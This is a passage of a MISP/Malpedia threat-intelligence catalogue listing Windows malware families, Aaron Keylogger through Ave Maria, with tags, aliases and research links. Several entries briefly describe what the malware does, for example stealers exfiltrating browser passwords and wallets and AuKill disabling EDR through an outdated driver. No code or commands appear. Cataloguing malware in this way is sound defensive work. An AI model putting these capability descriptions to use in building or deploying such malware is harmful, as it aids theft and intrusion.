- Aaron Keylogger

- **Table 2471. Table References**
  - | Links |
  - | [https://malpedia.caad.fkie.fraunhofer.de/details/win.arik_keylogger](https://malpedia.caad.fkie.fraunhofer.de/details/win.arik_keylogger) |
  - | [http://remote-keylogger.net/](http://remote-keylogger.net/) |

**Arkei Stealer**

Arkei is a stealer that appeared around May 2018. It collects data about browsers (saved passwords and autofill forms), cryptocurrency wallets, and steal files matching an attacker-defined pattern. It then exfiltrates everything in a zip file uploaded to the attacker's panel. Later, it was forked and used as a base to create Vidar stealer.

The tag is: `misp-galaxy:malpedia="Arkei Stealer"`

Arkei Stealer is also known as:

- ArkeiStealer

- **Table 2472. Table References**
  - | Links |
  - | [https://malpedia.caad.fkie.fraunhofer.de/details/win.arkei_stealer](https://malpedia.caad.fkie.fraunhofer.de/details/win.arkei_stealer) |
  - | [https://drive.google.com/file/d/1wTH-BZrjxEBZwCnXJ3pQWGB7ou0IoBEr/view](https://drive.google.com/file/d/1wTH-BZrjxEBZwCnXJ3pQWGB7ou0IoBEr/view) |
  - | [https://isc.sans.edu/diary/Arkei+Variants%3A+From+Vidar+to+Mars+Stealer/28468](https://isc.sans.edu/diary/Arkei+Variants%3A+From+Vidar+to+Mars+Stealer/28468) |
ArrowRAT

It is available as a service, purchasable by anyone to use in their own campaigns. It's features are generally fairly typical of a RAT, with its most notable aspect being the hVNC module which basically gives an attacker full remote access with minimal need for technical knowledge to use it.

The tag is: misp-galaxy:malpedia="ArrowRAT"

ArrowRAT is also known as:

Table 2473. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.arrowrat
https://www.arrowrat.com

ARS VBS Loader

ARS Loader, also known as ARS VBS Loader, is written in Visual Basic Script and its main purpose is to control an infected machine via different available commands, acting as a remote access trojan (RAT). Its code is based on ASPC, another Visual Basic Script malware, which at the same time seems to be based on SafeLoader.

The tag is: misp-galaxy:malpedia="ARS VBS Loader"

ARS VBS Loader is also known as:

Table 2474. Table References

Links
ARTFULPIE

The tag is: `misp-galaxy:malpedia="ARTFULPIE"`

ARTFULPIE is also known as:

Table 2475. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.artfulpie">https://malpedia.caad.fkie.fraunhofer.de/details/win.artfulpie</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/analysis-reports/ar20-045e">https://www.us-cert.gov/ncas/analysis-reports/ar20-045e</a></td>
</tr>
</tbody>
</table>

Artra Downloader

The tag is: `misp-galaxy:malpedia="Artra Downloader"`

Artra Downloader is also known as:

Table 2476. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.artra">https://malpedia.caad.fkie.fraunhofer.de/details/win.artra</a></td>
</tr>
<tr>
<td><a href="https://www.freebuf.com/articles/database/192726.html">https://www.freebuf.com/articles/database/192726.html</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/apt-trends-report-q1-2021/101967/">https://securelist.com/apt-trends-report-q1-2021/101967/</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html">https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/multiple-artradownloader-variants-used-by-bitter-to-target-pakistan/">https://unit42.paloaltonetworks.com/multiple-artradownloader-variants-used-by-bitter-to-target-pakistan/</a></td>
</tr>
</tbody>
</table>

Asbit

The tag is: `misp-galaxy:malpedia="Asbit"`
Asbit is also known as:

Table 2477. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.asbit">https://malpedia.caad.fkie.fraunhofer.de/details/win.asbit</a></td>
</tr>
</tbody>
</table>

AscentLoader

The tag is: *misp-galaxy:malpedia="AscentLoader"*

AscentLoader is also known as:

Table 2478. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ascentloader">https://malpedia.caad.fkie.fraunhofer.de/details/win.ascentloader</a></td>
</tr>
</tbody>
</table>

ASPC

The tag is: *misp-galaxy:malpedia="ASPC"*

ASPC is also known as:

Table 2479. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.aspc">https://malpedia.caad.fkie.fraunhofer.de/details/win.aspc</a></td>
</tr>
</tbody>
</table>

Asprox

The tag is: *misp-galaxy:malpedia="Asprox"*

Asprox is also known as:

- Aseljo
- BadSrc

Table 2480. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.asprox">https://malpedia.caad.fkie.fraunhofer.de/details/win.asprox</a></td>
</tr>
</tbody>
</table>
**Asruex**

The tag is: `misp-galaxy:malpedia="Asruex"`

Asruex is also known as:

<table>
<thead>
<tr>
<th>Table 2481. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.asruex">https://malpedia.caad.fkie.fraunhofer.de/details/win.asruex</a></td>
</tr>
<tr>
<td><a href="https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html">https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html</a></td>
</tr>
</tbody>
</table>

**Astaroth**

First spotted in the wild in 2017, Astaroth is a highly prevalent, information-stealing Latin American banking trojan. It is written in Delphi and has some innovative execution and attack techniques. Originally, this malware variant targeted Brazilian users, but Astaroth now targets users both in North America and Europe.

The tag is: `misp-galaxy:malpedia="Astaroth"`

Astaroth is also known as:

- Guildma

<table>
<thead>
<tr>
<th>Table 2482. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.astaroth">https://malpedia.caad.fkie.fraunhofer.de/details/win.astaroth</a></td>
</tr>
<tr>
<td><a href="https://blog.easysol.net/meet-lucifer-international-trojan/">https://blog.easysol.net/meet-lucifer-international-trojan/</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/Brazil+malspam+pushes+Astaroth+%28Guildma%29+malware/28962">https://isc.sans.edu/diary/Brazil+malspam+pushes+Astaroth+%28Guildma%29+malware/28962</a></td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research">https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2020/03/23/latest-astaroth-living-off-the-land-attacks-are-even-more-invisible-but-not-less-observable/">https://www.microsoft.com/security/blog/2020/03/23/latest-astaroth-living-off-the-land-attacks-are-even-more-invisible-but-not-less-observable/</a></td>
</tr>
<tr>
<td><a href="https://www.armor.com/resources/threat-intelligence/astaroth-banking-trojan/">https://www.armor.com/resources/threat-intelligence/astaroth-banking-trojan/</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2020/05/astaroth-analysis.html">https://blog.talosintelligence.com/2020/05/astaroth-analysis.html</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2020/03/05/guildma-devil-drives-electric/">https://www.welivesecurity.com/2020/03/05/guildma-devil-drives-electric/</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/27482">https://isc.sans.edu/diary/27482</a></td>
</tr>
</tbody>
</table>
Astasia

Astasia is a banking trojan that spreads through phishing emails that contain an executable attachment. Once the attachment is executed, Astasia downloads and installs a trojan that runs in the background. The trojan can steal personal information, such as passwords and credit card numbers, from victims.

The tag is: misp-galaxy:malpedia="Astasia"

Astasia is also known as:

Table 2483. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.astasia">https://malpedia.caad.fkie.fraunhofer.de/details/win.astasia</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/MalGamy12/status/1690100567756906497">https://twitter.com/MalGamy12/status/1690100567756906497</a></td>
</tr>
</tbody>
</table>

AstraLocker

The tag is: misp-galaxy:malpedia="AstraLocker"

AstraLocker is also known as:

Table 2484. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.astralocker">https://malpedia.caad.fkie.fraunhofer.de/details/win.astralocker</a></td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.com/ransomware/2022/07/astralocker-2-0-ransomware-isnt-going-to-give-you-your-files-back/">https://blog.malwarebytes.com/ransomware/2022/07/astralocker-2-0-ransomware-isnt-going-to-give-you-your-files-back/</a></td>
</tr>
<tr>
<td><a href="https://www.emsisoft.com/ransomware-decryption-tools/astralocker">https://www.emsisoft.com/ransomware-decryption-tools/astralocker</a></td>
</tr>
</tbody>
</table>
AsyncRAT

AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victim’s computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.

The tag is: misp-galaxy:malpedia="AsyncRAT"

AsyncRAT is also known as:

Table 2485. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat">https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat</a></td>
</tr>
<tr>
<td><a href="https://threatpost.com/ta2541-apt-rats-aviation/178422/">https://threatpost.com/ta2541-apt-rats-aviation/178422/</a></td>
</tr>
<tr>
<td><a href="https://mp.weixin.qq.com/s/J_A12SOX0k5TOYFAegBv_w">https://mp.weixin.qq.com/s/J_A12SOX0k5TOYFAegBv_w</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2021/09/operation-layover-how-we-tracked-attack.html">https://blog.talosintelligence.com/2021/09/operation-layover-how-we-tracked-attack.html</a></td>
</tr>
<tr>
<td><a href="https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader">https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader</a></td>
</tr>
<tr>
<td><a href="https://www.huntress.com/blog/advanced-cyberchef-tips-asyncrat-loader">https://www.huntress.com/blog/advanced-cyberchef-tips-asyncrat-loader</a></td>
</tr>
<tr>
<td><a href="https://securityintelligence.com/posts/roboski-global-recovery-automation/">https://securityintelligence.com/posts/roboski-global-recovery-automation/</a></td>
</tr>
<tr>
<td><a href="https://www.esentire.com/blog/asyncrat-activity">https://www.esentire.com/blog/asyncrat-activity</a></td>
</tr>
<tr>
<td><a href="https://blog.morphisec.com/syk-crypter-discord">https://blog.morphisec.com/syk-crypter-discord</a></td>
</tr>
</tbody>
</table>
Athena

Part of the Mythic framework, payload in C# (.NET 6), support HTTP, Websockets, Slack, SMB for C2.

The tag is: *misp-galaxy:malpedia="Athena"

Athena is also known as:

*Table 2486. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.athena">https://malpedia.caad.fkie.fraunhofer.de/details/win.athena</a></td>
</tr>
</tbody>
</table>
**AthenaGo RAT**

The tag is: `misp-galaxy:malpedia="AthenaGo RAT”`

AthenaGo RAT is also known as:

*Table 2487. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="https://malpedia.caad.fkie.fraunhofer.de/details/win.athenago" alt="Link" /></td>
</tr>
</tbody>
</table>

**ATI-Agent**

The tag is: `misp-galaxy:malpedia="ATI-Agent”`

ATI-Agent is also known as:

*Table 2488. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="https://malpedia.caad.fkie.fraunhofer.de/details/win.ati_agent" alt="Link" /></td>
</tr>
<tr>
<td><img src="https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" alt="Link" /></td>
</tr>
</tbody>
</table>

**AtlasAgent**

The tag is: `misp-galaxy:malpedia="AtlasAgent”`

AtlasAgent is also known as:

*Table 2489. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="https://malpedia.caad.fkie.fraunhofer.de/details/win.atlas_agent" alt="Link" /></td>
</tr>
<tr>
<td><img src="https://nsfocusglobal.com/warning-newly-discovered-apt-attacker-atlascross-exploits-red-cross-blood-drive-phishing-for-cyberattack/" alt="Link" /></td>
</tr>
</tbody>
</table>

**ATMii**

The tag is: `misp-galaxy:malpedia="ATMii”`

ATMii is also known as:

*Table 2490. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="https://malpedia.caad.fkie.fraunhofer.de/details/win.atmii" alt="Link" /></td>
</tr>
<tr>
<td><img src="https://securelist.com/atmii-a-small-but-effective-atm-robber/82707/" alt="Link" /></td>
</tr>
</tbody>
</table>
**ATMitch**

The tag is: `misp-galaxy:malpedia="ATMitch"`

ATMitch is also known as:

*Table 2491. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.atmitch">https://malpedia.caad.fkie.fraunhofer.de/details/win.atmitch</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/blog/sas/77918/atmitch-remote-administration-of-atms/">https://securelist.com/blog/sas/77918/atmitch-remote-administration-of-atms/</a></td>
</tr>
</tbody>
</table>

**Atmosphere**

The tag is: `misp-galaxy:malpedia="Atmosphere"`

Atmosphere is also known as:

*Table 2492. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.atmosphere">https://malpedia.caad.fkie.fraunhofer.de/details/win.atmosphere</a></td>
</tr>
<tr>
<td><a href="https://www.group-ib.com/resources/threat-research/silence.html">https://www.group-ib.com/resources/threat-research/silence.html</a></td>
</tr>
</tbody>
</table>

**ATMSpitter**

The ATMSpitter family consists of command-line tools designed to control the cash dispenser of an ATM through function calls to either CSCWCNG.dll or MFSXFS.dll. Both libraries are legitimate Windows drivers used to interact with the components of different ATM models.

The tag is: `misp-galaxy:malpedia="ATMSpitter"`

ATMSpitter is also known as:

*Table 2493. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.atmspitter">https://malpedia.caad.fkie.fraunhofer.de/details/win.atmspitter</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-kingswood">https://www.secureworks.com/research/threat-profiles/gold-kingswood</a></td>
</tr>
<tr>
<td><a href="https://quoscient.io/reports/QuoINT_INTBRI_ATMSpitter_v2.pdf">https://quoscient.io/reports/QuoINT_INTBRI_ATMSpitter_v2.pdf</a></td>
</tr>
</tbody>
</table>
ATOMSILO

According to PCrisk, AtomSilo is a type of malware that blocks access to files by encrypting them and renames every encrypted file by appending the ".ATOMSILO" to its filename. It renames "1.jpg" to "1.jpg.ATOMSILO", "2.jpg" to "2.jpg.ATOMSILO", and so on. As its ransom note, AtomSilo creates the "README-FILE- COMPUTER-NAME- CREATION-TIME.hra" file.

The tag is: misp-galaxy:malpedia="ATOMSILO"

ATOMSILO is also known as:

Table 2494. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.atomsilo
https://chuongdong.com/reverse%20engineering/2021/10/13/AtomSiloRansomware/
https://twitter.com/siri_urz/status/1437664046556274694?s=20
https://chuongdong.com/reverse%20engineering/2021/10/13/AtomSiloRansomware/
https://decoded.avast.io/threatintel/decryptor-for-atomsiolo-and-lockfile-ransomware/
https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself

Attor

Attor is a cyberespionage platform used in targeted attacks against diplomatic missions and governmental institutions since at least 2013. Its most interesting features are a complex modular architecture, elaborate network communications, and a unique plugin to fingerprint GSM/GPRS devices.

Attor's core lies in its dispatcher, which serves as a management unit for additional plugins which provide all of malware's key capabilities. This allows the attackers to customize the platform on a per-victim basis. Plugins themselves are heavily synchronized. Network communication is based on Tor, aiming for anonymity and untraceability.

The most notable plugin can detect connected GSM/GPRS modems or mobile devices. Attor speaks to them directly using the AT command set, in order to collect sensitive information such as the
IMEI, IMSI or MSISDN numbers, possibly identifying both the device and its subscriber. Other plugins provide persistence, an exfiltration channel, C&C communication and several further spying capabilities. The plugin responsible for capturing victim’s screen targets social networks and blogging platforms, email services, office software, archiving utilities, file sharing and messaging services.

The tag is: misp-galaxy:malpedia="Attor"

Attor is also known as:

Table 2495. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.attor">https://malpedia.caad.fkie.fraunhofer.de/details/win.attor</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2019/10/10/eset-discovers-attor-spy-platform">https://www.welivesecurity.com/2019/10/10/eset-discovers-attor-spy-platform</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2019/10/10/eset-discovers-attor-spy-platform">https://www.welivesecurity.com/2019/10/10/eset-discovers-attor-spy-platform</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html">https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html</a></td>
<td></td>
</tr>
</tbody>
</table>

### August Stealer

The tag is: misp-galaxy:malpedia="August Stealer"

August Stealer is also known as:

Table 2496. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.august_stealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.august_stealer</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://hazmalware.blogspot.de/2016/12/analysis-of-august-stealer-malware.html">https://hazmalware.blogspot.de/2016/12/analysis-of-august-stealer-malware.html</a></td>
<td></td>
</tr>
</tbody>
</table>

### AuKill

According to Sophos, the AuKill tool abuses an outdated version of the driver used by version 16.32 of the Microsoft utility, Process Explorer, to disable EDR processes before deploying either a
backdoor or ransomware on the target system.

The tag is: misp-galaxy:malpedia="AuKill"

AuKill is also known as:

- SophosKill

Table 2497. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.aukill">https://malpedia.caad.fkie.fraunhofer.de/details/win.aukill</a></td>
</tr>
</tbody>
</table>

**Auriga**

The tag is: misp-galaxy:malpedia="Auriga"

Auriga is also known as:

- Riodrv

Table 2498. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.auriga">https://malpedia.caad.fkie.fraunhofer.de/details/win.auriga</a></td>
</tr>
</tbody>
</table>

**Aurora**

Ransomware

The tag is: misp-galaxy:malpedia="Aurora"

Aurora is also known as:

- OneKeyLocker

Table 2499. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.aurora">https://malpedia.caad.fkie.fraunhofer.de/details/win.aurora</a></td>
</tr>
</tbody>
</table>
Aurora Stealer

First advertised as a Malware-as-a-Service (MaaS) on Russian-speaking underground forums in April 2022, Aurora Stealer is a Golang-based information stealer with downloading and remote access capabilities. The malware targets data from multiple browsers, cryptocurrency wallets, local systems, and acts as a loader. During execution, the malware runs several commands through WMIC to collect basic host information, snaps a desktop image, and exfiltrates data to the C2 server within a single base64-encoded JSON file.

The tag is: *misp-galaxy:malpedia=*Aurora Stealer“

Aurora Stealer is also known as:

Table 2500. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.aurora_stealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.aurora_stealer</a></td>
</tr>
<tr>
<td><a href="https://research.openanalysis.net/in2al5dp3in4er/loader/analysis/sandbox/invalid%20printer/2023/04/23/in2al5dp3in4er.html">https://research.openanalysis.net/in2al5dp3in4er/loader/analysis/sandbox/invalid%20printer/2023/04/23/in2al5dp3in4er.html</a></td>
</tr>
<tr>
<td><a href="https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-aurora-stealer">https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-aurora-stealer</a></td>
</tr>
<tr>
<td><a href="https://blog.sekoia.io/bluefox-information-stealer-traffer-maas/">https://blog.sekoia.io/bluefox-information-stealer-traffer-maas/</a></td>
</tr>
<tr>
<td><a href="https://d01a.github.io/aurora-stealer/">https://d01a.github.io/aurora-stealer/</a></td>
</tr>
<tr>
<td><a href="https://blog.sekoia.io/aurora-a-rising-stealer-flying-under-the-radar/">https://blog.sekoia.io/aurora-a-rising-stealer-flying-under-the-radar/</a></td>
</tr>
<tr>
<td><a href="https://d01a.github.io/aurora-stealer-builder/">https://d01a.github.io/aurora-stealer-builder/</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/rss/29448">https://isc.sans.edu/diary/rss/29448</a></td>
</tr>
</tbody>
</table>

Avaddon

Avaddon is a ransomware malware targeting Windows systems often spread via malicious spam. The first known attack where Avaddon ransomware was distributed was in February 2020. Avaddon encrypts files using the extension .avdn and uses a TOR payment site for the ransom payment.
The tag is: misp-galaxy:malpedia="Avaddon"

Avaddon is also known as:

*Table 2501. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.avaddon">https://malpedia.caad.fkie.fraunhofer.de/details/win.avaddon</a></td>
</tr>
<tr>
<td><a href="https://awakesecurity.com/blog/threat-hunting-for-avaddon-ransomware/">https://awakesecurity.com/blog/threat-hunting-for-avaddon-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://medium.com/s2wlab/quick-analysis-of-haron-ransomware-feat-avaddon-and-thanos-1ebb70f64dc4">https://medium.com/s2wlab/quick-analysis-of-haron-ransomware-feat-avaddon-and-thanos-1ebb70f64dc4</a></td>
</tr>
<tr>
<td><a href="https://atos.net/en/lp/securitydive/avaddon-ransomware-analysis">https://atos.net/en/lp/securitydive/avaddon-ransomware-analysis</a></td>
</tr>
<tr>
<td><a href="https://www.tgsoft.it/files/report/download.asp?id=568531345">https://www.tgsoft.it/files/report/download.asp?id=568531345</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/dk_samper/status/1348560784285167617">https://twitter.com/dk_samper/status/1348560784285167617</a></td>
</tr>
<tr>
<td><a href="https://www.connectwise.com/resources/avaddon-profile">https://www.connectwise.com/resources/avaddon-profile</a></td>
</tr>
<tr>
<td><a href="https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/">https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/</a></td>
</tr>
<tr>
<td><a href="https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound">https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound</a></td>
</tr>
<tr>
<td><a href="https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/">https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/</a></td>
</tr>
<tr>
<td><a href="https://threatconnect.com/blog/threatconnect-research-roundup-probable-sandworm-infrastructure">https://threatconnect.com/blog/threatconnect-research-roundup-probable-sandworm-infrastructure</a></td>
</tr>
</tbody>
</table>
AvastDisabler

The tag is: misp-galaxy:malpedia="AvastDisabler"

AvastDisabler is also known as:

Table 2502. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.avast_disabler">https://malpedia.caad.fkie.fraunhofer.de/details/win.avast_disabler</a></td>
</tr>
<tr>
<td><a href="https://securityintelligence.com/exposing-av-disabling-drivers-just-in-time-for-lunch/">https://securityintelligence.com/exposing-av-disabling-drivers-just-in-time-for-lunch/</a></td>
</tr>
</tbody>
</table>
**AVCrypt**

Bleeping Computer notes about discovery of AVCrypt, a malware that tries to uninstall existing security software before it encrypts a computer. Furthermore, as it removes numerous services, including Windows Update, and provides no contact information, this ransomware may be a wiper.

The tag is: `misp-galaxy:malpedia="AVCrypt"`

AVCrypt is also known as:

**Table 2503. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.avcrypt">https://malpedia.caad.fkie.fraunhofer.de/details/win.avcrypt</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/976925447043846145">https://twitter.com/malwrhunterteam/status/976925447043846145</a></td>
</tr>
</tbody>
</table>

**AvD Crypto Stealer**

Cyble Research discovered this .Net written malware dubbed "AvD Crypto Stealer". The name of this malware is misleading, because this is a kind of clipper malware. Assumption of Cyble is, that this malware could target other threat actors as scenario.

The tag is: `misp-galaxy:malpedia="AvD Crypto Stealer"`

AvD Crypto Stealer is also known as:

**Table 2504. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.avd">https://malpedia.caad.fkie.fraunhofer.de/details/win.avd</a></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2022/03/22/hunters-become-the-hunted/">https://blog.cyble.com/2022/03/22/hunters-become-the-hunted/</a></td>
</tr>
</tbody>
</table>

**Aveo**

The tag is: `misp-galaxy:malpedia="Aveo"`

Aveo is also known as:

**Table 2505. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.aveo">https://malpedia.caad.fkie.fraunhofer.de/details/win.aveo</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-overbrook">https://www.secureworks.com/research/threat-profiles/bronze-overbrook</a></td>
</tr>
</tbody>
</table>
Ave Maria

Information stealer which uses AutoIT for wrapping.

The tag is: misp-galaxy:malpedia="Ave Maria"

Ave Maria is also known as:

- AVE_MARIA
- AveMariaRAT
- Warzone RAT
- WarzoneRAT
- avemaria

Table 2506. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ave_maria">https://malpedia.caad.fkie.fraunhofer.de/details/win.ave_maria</a></td>
</tr>
<tr>
<td><a href="https://exploitreversing.files.wordpress.com/2022/11/mas_6-1.pdf">https://exploitreversing.files.wordpress.com/2022/11/mas_6-1.pdf</a></td>
</tr>
<tr>
<td><a href="https://github.com/muha2xmad/Python/blob/bdc7a711d5a775f8ae47b591f20fdd2e1360b77b/warzonerat/warzonerat_config_extraction.ipynb">https://github.com/muha2xmad/Python/blob/bdc7a711d5a775f8ae47b591f20fdd2e1360b77b/warzonerat/warzonerat_config_extraction.ipynb</a></td>
</tr>
<tr>
<td><a href="https://mp.weixin.qq.com/s/fsesosMnKlfAi_I9I0wKSA">https://mp.weixin.qq.com/s/fsesosMnKlfAi_I9I0wKSA</a></td>
</tr>
<tr>
<td><a href="https://www.kaspersky.com/about/press-releases/2019_fin7-hacking-group-targets-more-than-130-companies-after-leaders-arrest">https://www.kaspersky.com/about/press-releases/2019_fin7-hacking-group-targets-more-than-130-companies-after-leaders-arrest</a></td>
</tr>
<tr>
<td><a href="https://medium.com/insomniacs/do-you-want-to-bake-a-donut-come-on-lets-go-update-go-away-maria-e8e2b33683b1">https://medium.com/insomniacs/do-you-want-to-bake-a-donut-come-on-lets-go-update-go-away-maria-e8e2b33683b1</a></td>
</tr>
<tr>
<td><a href="https://muha2xmad.github.io/malware-analysis/warzonerat/">https://muha2xmad.github.io/malware-analysis/warzonerat/</a></td>
</tr>
<tr>
<td><a href="https://mp.weixin.qq.com/s/C09P0al1nhsyyujHRp0FAw">https://mp.weixin.qq.com/s/C09P0al1nhsyyujHRp0FAw</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/">https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware">https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware</a></td>
</tr>
</tbody>
</table>
https://blog.yoroi.company/research/the-ave_maria-malware/
https://www.netskope.com/blog/dbatloader-abusing-discord-to-deliver-warzone-rat
